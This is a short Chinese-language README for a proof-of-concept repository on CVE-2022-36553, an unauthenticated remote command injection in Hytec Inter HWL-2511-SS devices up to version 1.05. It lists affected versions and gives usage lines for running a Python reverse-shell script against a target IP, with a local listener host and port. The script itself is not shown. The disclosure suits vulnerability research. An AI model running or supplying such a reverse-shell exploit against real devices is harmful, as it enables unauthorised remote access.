CVE-2022-36553 - Hytec Inter HWL-2511-SS 无认证远程命令注入

概述

本仓库包含一个概念验证（PoC）反向Shell脚本，用于利用CVE-2022-36553——Hytec Inter HWL-2511-SS设备中的一个严重漏洞。该脚本是实际演示，补充了我的博客文章“Hytec Inter HWL-2511-SS - 漏洞报告”中提供的深入分析。

受影响版本

所有版本为1.05及以下的Hytec Inter HWL-2511-SS设备。

PoC 脚本用法

# Usage: python HWL-2511-SS.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python HWL-2511-SS.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

视频概念验证

注意

仅供教育用途。